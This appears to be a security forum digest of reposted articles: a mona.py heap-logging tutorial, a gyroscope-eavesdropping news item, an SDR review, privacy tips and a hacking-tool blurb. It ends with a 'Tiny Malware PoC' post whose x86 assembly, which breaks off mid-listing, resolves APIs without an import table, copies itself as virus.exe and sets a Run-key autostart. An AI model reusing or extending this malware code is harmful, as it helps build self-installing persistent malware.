javascript code can be quite noisy from a Heap perspective, making it less trivial to identify interesting objects. To make our lives easier, I decided to implement "dumplog", which will parse a log file (based on a certain syntax) and perform a "dumpobj" on each object that has been allocated, but not freed. In the current version, dumplog will not dump linked objects, but I plan on adding this feature soon. (probably tomorrow) Dumplog requires a proper setup. We need to tell WinDBG to create a log file that follows a specific convention, and we obviously must run mona dumplog in the same debug session (to make sure the logged allocations and free operations are still relevant). The output of "!py mona help dumplog" shows this: Usage of command 'dl' : ------------------------ Dump all objects recorded in an alloc/free log Note: dumplog will only dump objects that have not been freed in the same logfile. Expected syntax for log entries: Alloc : 'alloc(size in hex) = address' Free : 'free(address)' Additional text after the alloc & free info is fine. Just make sure the syntax matches exactly with the examples above. Arguments: -f [COLOR=#5576D1]<[/COLOR][COLOR=#800000]path[/COLOR]/[COLOR=#ff0000]to[/COLOR]/[COLOR=#ff0000]logfile[/COLOR][COLOR=#5576D1]>[/COLOR] : Full path to the logfile The idea is to log all Heap allocations and free operations to a log file. In WinDBG this can be achieved using the following steps: Before running the process and triggering the alloc/free operations that you want to capture and analyze, tell WinDBG to write the output of the log window to a text file: .logclose .logopen c:\\allocs.txt Next, set up 2 logging breakpoints: bp !ntdll + 0002e12c ".printf \"alloc(0x%x) = 0x%p\", poi(esp+c), eax; .echo; g" bp ntdll!RtlFreeHeap "j (poi(esp+c)!=0) '.printf \"free(0x%p)\", poi(esp+c); .echo; g'; 'g';" (based on a recent version of kernel32.dll, Windows 7 SP1). These 2 breakpoints will print a message to the WinDBG log window each time RtlAllocateHeap and RtlFreeHeap are called, printing out valuable information about the API call. It’s important to stick to this format, but you are free to add more text to the end of the message string. With these 2 breakpoints active, and WinDBG configured to start writing the output of the log window to a text file, we can run the application. When you’re ready to do analysis, break WinDBG. Don’t close it at this point, but close the log file using the .logclose command. We can now use mona to parse the log file, find the objects that have been allocated and not freed, and perform a mona dumpobj on each of those objects. !py mona dl -f c:\allocs.txt The output will be written to dump_alloc_free.txt I hope you’ll enjoy these 2 new features. Stay safe & take care cheers -corelanc0d3r Sursa: https://www.corelan.be/index.php/2014/08/16/analyzing-heap-objects-with-mona-py/

[h=1]Hackers transform a smartphone gyroscope into an always-on microphone[/h]by Steve Dent | @Stevetdent | 2 days ago Apps that use your smartphone's microphone need to ask permission, but the motion sensors? No say-so needed. That might not sound like a big deal, but security researchers from Stanford University and defense firm Rafael have discovered a way to turn Android phone gyroscopes into crude microphones. They call their app " " and here's how it works: the tiny gyros in your phone that measure orientation do so using vibrating pressure plates. As it turns out, they can also pick up air vibrations from sounds, and many Android devices can do it in the 80 to 250 hertz range -- exactly the frequency of a human voice. By contrast, the iPhone's sensor only uses frequencies below 100Hz, and is therefore useless for tapping conversations. Though the researchers' system can only pick up the odd word or the speaker's gender, they said that voice recognition experts could no doubt make it work better. They'll be delivering a paper next week at the Usenix Security conference, but luckily, Google is already up on the research. "This early, academic work should allow us to provide defenses before there is any likelihood of real exploitation." Via: Wired.com Source: Stanford University

ARM: Introduction to ARM by David Thomas on 03 March 2012 Introduction The Introduction to ARM course aims to bring the reader up-to-speed on programming in ARM assembly language. Its goal is not to get you to write entire programs in ARM assembly language, but instead to give you enough knowledge to make judicious use of it. While you might never routinely come into contact with assembly language there are a number of reasons for delving down to the assembly level: You might want to improve the performance of speed-critical portions of your code, You might be debugging, trying to solve a problem which is not obvious from the source code alone, Or, you might just be curious. Limitations The course was written with application programmers in mind, rather than systems programmers. As such the content is geared towards the ‘user mode’ world. Vectors, exceptions, interrupt and processor modes are not presently discussed. Navigation Move between pages using the arrows at the bottom of the page. Begin reading here. Further Reading This is the first part of a two-part ARM training course, the second is called Efficient C for ARM and is available here. Link: ARM: Introduction to ARM: Start | DaveSpace

HackRF Initial Review The HackRF One is a new software defined radio that has recently been shipped out to Kickstarter funders. It is a transmit and receive capable SDR with 8-Bit ADC, 10 MHz to 6 GHz operating range and up to 20 MHz of bandwidth. It can now be preordered for $299 USD. We just received ours from backing the Kickstarter and here’s a brief review of the product. We didn’t do any quantitative testing and this is just a first impressions review. So far we’ve only tested receive on Windows SDR#. Unboxing Inside the box is the HackRF unit in a quality protective plastic casing, a telescopic antenna and a USB cable. We show an RTL-SDR next to the HackRF for size comparison. HackRF + Telescopic Antenna + USB Cable + Box (RTL-SDR Dongle Shown for Size Comparison) Back of the box HackRF Windows SDR# Installation Process Installation of the HackRF on Windows is very simple and is the same process as installing an RTL-SDR dongle. Assuming you have SDR# downloaded, simply plug in your HackRF into a USB port, open zadig in the SDR# folder, select the HackRF and click install driver. The HackRF is now ready to use with SDR#. Initial Receive Review We first tested the HackRF at its maximum bandwidth of 20 MHz in SDR#. Unfortunately at this sample rate the PC we used (Intel i5 750) could not keep up. The waterfall and audio were very choppy, even when the waterfall and spectrum analyser were turned off. After switching to the next lowest bandwidth of 16 MHz everything was fine. With the waterfall resolution set to 65536 the CPU usage was at around 45-50%. It is very nice to have such a wide bandwidth at your disposal. However, the drawback is that with such a wide bandwidth it is very difficult to find a narrowband signal on the waterfall if the frequency is unknown. This might make things difficult for people new to signal browsing. Also, since the bandwidth is so wide the waterfall resolution when zoomed in is very poor making it very difficult to see a clear signal structure, but this is more a problem with SDR# rather than the HackRF. The included antenna is good and made of a high quality build. There is a spring in the base of the antenna which may be an inductor, or may just be there for mechanical reasons. As the antenna screws directly into the HackRF body there is no place for a ground plane. The HackRF has no front end filtering (preselectors) so there are many images of strong signals that show up at multiples of the selected sample rate. Most wideband SDRs are like this but these images are also not helped by the low 8 bit ADC resolution. Image rejection and sensitivity could be improved by using your own preselector front end like many people have done with the RTL-SDR. Overall reception sensitivity seems to be very similar to the RTL-SDR. There are three gain settings available for the HackRF in SDR#. One is for the LNA Gain, one for VGA gain and the third is a check box for ‘Amp’. The LNA gain is the main gain that should be used and usually only a small amount of VGA gain is needed as VGA gain seems to just increase the noise the same amount as the signal. We’re not sure what ‘Amp’ is, but it seems to do something similar to ‘RTL AGC’ on the RTL-SDR. We checked the PPM offset against a known signal and found that the offset was -12 ppm, which was pretty good. Only about 1 ppm of thermal drift was seen throughout the operation of the HackRF. Overall the HackRF is a good product and is great for those who want the massive frequency range, wide bandwidth and transmit capability. But if you are interested in reception only and are looking for a wide bandwidth SDR upgrade to the RTL-SDR I would suggest waiting for the Airspy to be released. The advantage to the Airspy will be its 12-bit ADC and cheaper price. Airspy has entered production now and the first batch of 500 units should soon be available. Here are some example wide band signals received with the HackRF. HackRF Receiving the entire WFM band HackRF Receiving a DVB-T Signal HackRF Receiving in the GSM Band HackRF Possibly Receiving LTE? HackRF at 2.4 GHz – Must be WiFi? HackRF Receiving the entire AM Radio Band Here is another review by a YouTube user who focuses on HF reception HackRF One on Windows with SDR # Here is an older review comparing the specs of the HackRF against the BladeRF and USRP B200. Sursa: HackRF Initial Review - rtl-sdr.com

[h=1]Change This iPhone Setting To Stop Closed Apps From Tracking Your Location[/h] Foursquare users who play hooky from work to go see a movie may not “check in” for fear of colleagues seeing their whereabouts, but the app still knows they’re there. Last week, the Wall Street Journal confirmed an earlier report that Foursquare “tracks your every movement, even when the app is closed.” Foursquare is far from the only app doing this. On my phone there were 14 other apps passively tracking my location, including a theft recovery app that needs to know where the phone is in case it’s stolen from me. Other apps track users’ locations even when the app is not actively running to gather intelligence for better advertising and personalization. Android users have to force quit the application running in the background to avoid it. For iPhone users, the passive tracking relies on a feature called “Background App Refresh.” If you’re a Machead who doesn’t like the idea of closed apps being able to track you, you should make a change to your settings as this is on by default. Go to your settings. Ignore the privacy option. You can turn off “location services” for apps there, but to get to the passive tracking, head to the “General” area. Choose “Background App Refresh.” Turn it off entirely — which is good for battery life — or pick and choose the apps you trust not to abuse their “background power.” Those apps that passively track location have a little blue arrow next to them. Choose wisely. Sursa: Change This iPhone Setting To Stop Closed Apps From Tracking Your Location - Forbes

Pare sigur.

[h=3]Web-fu - the ultimate web hacking chrome extension[/h]Web-fu Is a web hacking tool focused on discovering and exploiting web vulnerabilitites. BROWSER INTEGRATION This tool has many advantages, the tool is a chrome extension and therefore if the browser can authenticate and access to the web application, the tool also can. The integration with chrome, makes a very comfortable and agile way of web-hacking, and you have all the application data loaded on the hacking tool, you don't need to copy the url, cookies, etc. to the tool, just right click and hack. The browser rendering engine is also used in this tool, to draw the html of the responses. FALSES POSITIVES When I coded this tool, I was obsessed with false positives, which is the main problem in all detection tools. I have implemented a gauss algorithm, to reduce the faslse positives automatically which works very very well, and save a lot of time to the pentester. Link: software security blog: Web-fu - the ultimate web hacking chrome extension

Tiny Malware PoC: Malware Without IAT, DATA OR Resource Section Submitted by siteadm on Wed, 08/13/2014 - 21:58 Have you ever wondered about having an EXE without any entry in IAT (Import Address Table) at all? Well, I knew that it's possible, but never saw an actual exe file without IAT entry. So I developed an application which is 1,536 bytes and still does basic annoying malware things. So to summarize, this tiny app: - Enumerates following APIs: Kernel32 GetProcAddress VirtualAlloc GetModuleFileNameA ExitProcess CopyFileA GetWindowsDirectoryA LoadLibraryA Advapi32 RegCreateKeyA RegSetKeyValueA RegCloseKey User32 MessageBoxA - Allocates 0x0B000 bytes in fixed memory location (0x0C000000) - Resolves and stores all DLL handles, API function addresses, strings and API call return values in this newly allocated memory page. - Copies itself to Windows directory under virus.exe name - Creates a startup key in HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run called viri and points to virus.exe in %WINDIR% - Shows a MessageBox with "Infected!" string as title and text of message. - Terminates itself So this is basically what I did, but developing it and extending it is just a matter of time. Anyway, let's see the code: Beginning of file is just finding Kernel32 handle and offset of export table of Kernel32.dll [COLOR=#008000][[/COLOR]section[COLOR=#008000]][/COLOR] .[COLOR=#007788]text[/COLOR] BITS [COLOR=#0000dd]32[/COLOR] global _start _start[COLOR=#008080]:[/COLOR] xor ecx,ecx mov eax,[COLOR=#008000][[/COLOR]fs[COLOR=#008080]:[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x30[/COLOR][COLOR=#008000]][/COLOR] mov eax,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0xc[/COLOR][COLOR=#008000]][/COLOR] mov esi,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x14[/COLOR][COLOR=#008000]][/COLOR] lodsd xchg eax,esi lodsd mov ebx,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x10[/COLOR][COLOR=#008000]][/COLOR] mov edx,[COLOR=#008000][[/COLOR]ebx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x3c[/COLOR][COLOR=#008000]][/COLOR] add edx,ebx mov edx,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x78[/COLOR][COLOR=#008000]][/COLOR] add edx,ebx mov esi,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x20[/COLOR][COLOR=#008000]][/COLOR] add esi,ebx xor ecx,ecx xor ecx,ecx mov eax,[COLOR=#008000][[/COLOR]fs[COLOR=#008080]:[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x30[/COLOR][COLOR=#008000]][/COLOR] mov eax,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0xc[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] EAX [COLOR=#000080]=[/COLOR] PEB[COLOR=#000040]-[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR]Ldr mov esi,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x14[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] PEB[COLOR=#000040]-[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR]Ldr.[COLOR=#007788]InMemOrder[/COLOR] lodsd [COLOR=#008080];[/COLOR] EAX [COLOR=#000080]=[/COLOR] Second module xchg eax,esi [COLOR=#008080];[/COLOR] EAX [COLOR=#000080]=[/COLOR] ESI, ESI [COLOR=#000080]=[/COLOR] EAX lodsd [COLOR=#008080];[/COLOR] EAX [COLOR=#000080]=[/COLOR] Third [COLOR=#008000]([/COLOR]kernel32[COLOR=#008000])[/COLOR] mov ebx,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x10[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] EBX [COLOR=#000080]=[/COLOR] Base address mov edx,[COLOR=#008000][[/COLOR]ebx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x3c[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] DOS[COLOR=#000040]-[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR]e_lfanew add edx,ebx [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] PE Header mov edx,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x78[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] Offset export table add edx,ebx [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] Export table mov esi,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x20[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Offset names table add esi,ebx [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Names table xor ecx,ecx [COLOR=#008080];[/COLOR] EXC [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]0[/COLOR] tryagain[COLOR=#008080]:[/COLOR] inc ecx [COLOR=#008080];[/COLOR] Loop [COLOR=#0000ff]for[/COLOR] each function lodsd add eax,ebx [COLOR=#008080];[/COLOR] Loop untill function name cmp dword [COLOR=#008000][[/COLOR]eax[COLOR=#008000]][/COLOR],[COLOR=#208080]0x50746547[/COLOR] [COLOR=#008080];[/COLOR] GetP jnz tryagain cmp dword [COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x4[/COLOR][COLOR=#008000]][/COLOR],[COLOR=#208080]0x41636f72[/COLOR] [COLOR=#008080];[/COLOR] rocA jnz tryagain cmp dword [COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x8[/COLOR][COLOR=#008000]][/COLOR],[COLOR=#208080]0x65726464[/COLOR] [COLOR=#008080];[/COLOR] ddre jnz tryagain mov esi,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x24[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Offset ordinals add esi,ebx [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Ordinals table mov cx,[COLOR=#008000][[/COLOR]esi[COLOR=#000040]+[/COLOR]ecx[COLOR=#000040]*[/COLOR][COLOR=#0000dd]2[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] CX [COLOR=#000080]=[/COLOR] Number of function dec ecx mov esi,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x1c[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Offset address table add esi,ebx [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Address table mov edx,[COLOR=#008000][[/COLOR]esi[COLOR=#000040]+[/COLOR]ecx[COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] Pointer[COLOR=#008000]([/COLOR]offset[COLOR=#008000])[/COLOR] add edx,ebx [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] GetProcAddress As first step, we try to find VirtualAlloc API address: xor ecx,ecx [COLOR=#008080];[/COLOR] ECX [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]0[/COLOR] PUSH [COLOR=#0000dd]0[/COLOR] push ebx [COLOR=#008080];[/COLOR] Kernel32 base address push edx [COLOR=#008080];[/COLOR] GetProcAddress push ecx [COLOR=#008080];[/COLOR] [COLOR=#0000dd]0[/COLOR] push [COLOR=#0000dd]0[/COLOR] push [COLOR=#208080]0x636f6c6c[/COLOR] push [COLOR=#208080]0x416c6175[/COLOR] push [COLOR=#208080]0x74726956[/COLOR] [COLOR=#008080];[/COLOR] VirtualAlloc push esp push ebx [COLOR=#008080];[/COLOR] Kernel32 base address call edx [COLOR=#008080];[/COLOR] GetProcAddress[COLOR=#008000]([/COLOR]LL[COLOR=#008000])[/COLOR] PUSH eax As you can see the pushing string into stack and calling PUSH ESP does the trick, so as I needed to do this so often, I wrote a small Python code to generate this type of assembly instruction for a given String: import sys [COLOR=#0000ff]if[/COLOR] len[COLOR=#008000]([/COLOR]sys.[COLOR=#007788]argv[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#000040]&[/COLOR]lt[COLOR=#008080];[/COLOR] [COLOR=#0000dd]2[/COLOR][COLOR=#008080]:[/COLOR] print [COLOR=#FF0000]"Please provide a string argument"[/COLOR] [COLOR=#0000dd]exit[/COLOR] APIName [COLOR=#000080]=[/COLOR] sys.[COLOR=#007788]argv[/COLOR][COLOR=#008000][[/COLOR][COLOR=#0000dd]1[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#0000ff]if[/COLOR] len[COLOR=#008000]([/COLOR]APIName[COLOR=#008000])[/COLOR] [COLOR=#000040]%[/COLOR] [COLOR=#0000dd]4[/COLOR] [COLOR=#000040]![/COLOR][COLOR=#000080]=[/COLOR] [COLOR=#0000dd]0[/COLOR][COLOR=#008080]:[/COLOR] APIName [COLOR=#000080]=[/COLOR] APIName.[COLOR=#007788]ljust[/COLOR][COLOR=#008000]([/COLOR][COLOR=#008000]([/COLOR][COLOR=#008000]([/COLOR]len[COLOR=#008000]([/COLOR]APIName[COLOR=#008000])[/COLOR][COLOR=#000040]/[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#008000])[/COLOR][COLOR=#000040]+[/COLOR][COLOR=#0000dd]1[/COLOR][COLOR=#008000])[/COLOR][COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR], [COLOR=#FF0000]'[COLOR=#006699][B]\0[/B][/COLOR]'[/COLOR][COLOR=#008000])[/COLOR] print [COLOR=#FF0000]"push 0"[/COLOR] [COLOR=#0000ff]for[/COLOR] i in range[COLOR=#008000]([/COLOR][COLOR=#0000dd]1[/COLOR], [COLOR=#008000]([/COLOR][COLOR=#008000]([/COLOR]len[COLOR=#008000]([/COLOR]APIName[COLOR=#008000])[/COLOR] [COLOR=#000040]/[/COLOR] [COLOR=#0000dd]4[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#000040]+[/COLOR][COLOR=#0000dd]1[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080]:[/COLOR] print [COLOR=#FF0000]"push "[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#FF0000]"0x"[/COLOR][COLOR=#000040]+[/COLOR][COLOR=#FF0000]"{0:02x}"[/COLOR].[COLOR=#007788]format[/COLOR][COLOR=#008000]([/COLOR]ord[COLOR=#008000]([/COLOR]APIName[COLOR=#008000][[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#008000]([/COLOR]i[COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#0000dd]3[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#FF0000]"{0:02x}"[/COLOR].[COLOR=#007788]format[/COLOR][COLOR=#008000]([/COLOR]ord[COLOR=#008000]([/COLOR]APIName[COLOR=#008000][[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#008000]([/COLOR]i[COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#0000dd]2[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#FF0000]"{0:02x}"[/COLOR].[COLOR=#007788]format[/COLOR][COLOR=#008000]([/COLOR]ord[COLOR=#008000]([/COLOR]APIName[COLOR=#008000][[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#008000]([/COLOR]i[COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#0000dd]1[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#FF0000]"{0:02x}"[/COLOR].[COLOR=#007788]format[/COLOR][COLOR=#008000]([/COLOR]ord[COLOR=#008000]([/COLOR]APIName[COLOR=#008000][[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#008000]([/COLOR]i[COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR] print [COLOR=#FF0000]"push esp ;"[/COLOR] [COLOR=#000040]+[/COLOR] APIName You can simply run this Python script with a string as parameter and it produces required ASM instruction for pushing given string into stack, example call and output: C[COLOR=#008080]:[/COLOR]\[COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR]APINameToASM.[COLOR=#007788]py[/COLOR] user32.[COLOR=#007788]dll[/COLOR] push [COLOR=#0000dd]0[/COLOR] push [COLOR=#208080]0x00006c6c[/COLOR] push [COLOR=#208080]0x642e3233[/COLOR] push [COLOR=#208080]0x72657375[/COLOR] push esp [COLOR=#008080];[/COLOR]user32.[COLOR=#007788]dll[/COLOR] Now we allocate a fixed size, fixed location memory page to store all strings and resolved API pointers: PUSH [COLOR=#208080]0x40[/COLOR] [COLOR=#008080];[/COLOR] DWORD flProtect [COLOR=#000080]=[/COLOR] PAGE_EXECUTE_READWRITE PUSH [COLOR=#208080]0x3000[/COLOR][COLOR=#008080];[/COLOR] DWORD flAllocationType [COLOR=#000080]=[/COLOR] MEM_COMMIT [COLOR=#000040]|[/COLOR] MEM_RESERVE PUSH [COLOR=#208080]0x0B000[/COLOR][COLOR=#008080];[/COLOR] SIZE_T dwSize PUSH [COLOR=#208080]0x0C000000[/COLOR] [COLOR=#008080];[/COLOR] LPVOID lpAddress CALL EAX [COLOR=#008080];[/COLOR] call VirtualAlloc From now on, we store all resolved API pointers in 0x0c000000 address. Whole table after running application will look like this: [COLOR=#208080]0x0c000000[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] Kernel32 handle [COLOR=#208080]0x0C000004[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] GetProcAddress pointer [COLOR=#208080]0x0C000008[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] VirtualAlloc pointer [COLOR=#208080]0x0C00000C[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] GetModuleFileNameA pointer [COLOR=#208080]0x0C000010[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] ExitProcess pointer [COLOR=#208080]0x0C000014[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] CopyFileA pointer [COLOR=#208080]0x0C000018[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] GetWindowsDirectoryA pointer [COLOR=#208080]0x0C00001C[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] LoadLibraryA pointer [COLOR=#008080];[/COLOR] space [COLOR=#0000ff]for[/COLOR] [COLOR=#0000dd]40[/COLOR] kernel32 function address [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]40[/COLOR] x [COLOR=#0000dd]4[/COLOR] [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]160[/COLOR] in decimal [COLOR=#008000]([/COLOR][COLOR=#208080]0xA0[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#008080];[/COLOR] [COLOR=#208080]0xA0[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#208080]0x04[/COLOR] [COLOR=#000080]=[/COLOR] [COLOR=#208080]0xA4[/COLOR] beginning of Advapi [COLOR=#208080]0x0C0000A4[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] Advapi32 handle [COLOR=#208080]0x0C0000A8[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] RegCreateKeyA pointer [COLOR=#208080]0x0C0000AC[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] RegSetKeyValueA pointer [COLOR=#208080]0x0C000060[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] RegCloseKey pointer [COLOR=#008080];[/COLOR] space [COLOR=#0000ff]for[/COLOR] [COLOR=#0000dd]40[/COLOR] user32.[COLOR=#007788]dll[/COLOR] function address [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]40[/COLOR] x [COLOR=#0000dd]4[/COLOR] [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]160[/COLOR] in decimal [COLOR=#008000]([/COLOR][COLOR=#208080]0xA0[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#008080];[/COLOR] [COLOR=#208080]0xA4[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#208080]0xA4[/COLOR] [COLOR=#000080]=[/COLOR] [COLOR=#208080]0x148[/COLOR] beginning of User32 [COLOR=#208080]0x0C000148[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] User32 handle [COLOR=#208080]0x0C00014C[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] MessageBoxA pointer Also I used same memory page to store strings, for example: [COLOR=#208080]0x0C00AEF0[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] Current EXE file path [COLOR=#008000]([/COLOR]returned by GetModuleFileName API[COLOR=#008000])[/COLOR] [COLOR=#208080]0x0C00ADEC[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] Windows Directory path [COLOR=#008000]([/COLOR]returned by GetWindowsDirectory API[COLOR=#008000])[/COLOR] [COLOR=#208080]0x0C00ADE5[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] [COLOR=#FF0000]"viri"[/COLOR] string [COLOR=#008000]([/COLOR]registry value name[COLOR=#008000])[/COLOR] [COLOR=#208080]0x0C00AB8C[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] [COLOR=#FF0000]"Infected!"[/COLOR] string Also I created 3 functions to resolve API pointers easier: EnumKernelAPI[COLOR=#008080]:[/COLOR] POP EBP [COLOR=#008080];[/COLOR] ret addr MOV ECX, [COLOR=#208080]0x0C000000[/COLOR] PUSH DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] kernel32 handle call dword [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x04[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] getprocaddress MOV ECX, [COLOR=#208080]0x0C000000[/COLOR] PUSH EBP retn EnumAdvapiAPI[COLOR=#008080]:[/COLOR] POP EBP [COLOR=#008080];[/COLOR] ret addr MOV ECX, [COLOR=#208080]0x0C000000[/COLOR] PUSH DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xA4[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] advapi32 handle call dword [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x04[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] getprocaddress MOV ECX, [COLOR=#208080]0x0C000000[/COLOR] PUSH EBP retn EnumUserAPI[COLOR=#008080]:[/COLOR] POP EBP [COLOR=#008080];[/COLOR] ret addr MOV ECX, [COLOR=#208080]0x0C000000[/COLOR] PUSH DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x148[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] user32 handle call dword [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x04[/COLOR][COLOR=#008000]][/COLOR] 